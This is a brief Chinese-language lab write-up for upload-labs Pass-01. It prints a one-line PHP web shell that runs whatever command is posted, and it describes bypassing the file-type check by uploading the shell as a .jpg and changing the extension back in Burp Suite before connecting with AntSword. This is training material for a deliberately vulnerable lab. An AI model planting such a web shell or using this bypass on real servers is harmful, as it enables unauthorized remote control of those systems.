upload-labs/Pass-01

本文，用upload-labs进行测试学习，仅供参考.

首先，创建一份文档，写入一句话木马。写完后改文章后缀为jpg。

php @eval($_POST[cmd]);

因为本题不允许直接上传php文件，所以我们可以选择用支持的方式进行绕过。

 

burp抓包发送重放器，修改后缀发送放过提交就好了。

 我们已经看到地址了。

发现已经成功上传，之后可以通过蚁剑复制地址，用cmd密码连接就好了（密码不是唯一，看自己）

 后面蚁剑连接，就不弄出来了，出了点问题，我给当病毒查杀了，导致文件无法使用。

注:文章中的所有内容仅供做学习使用，任何人用此方法进行未经授权的渗透行为都与文章与我本人无关，请各位大佬不要进行未经授权的渗透行为……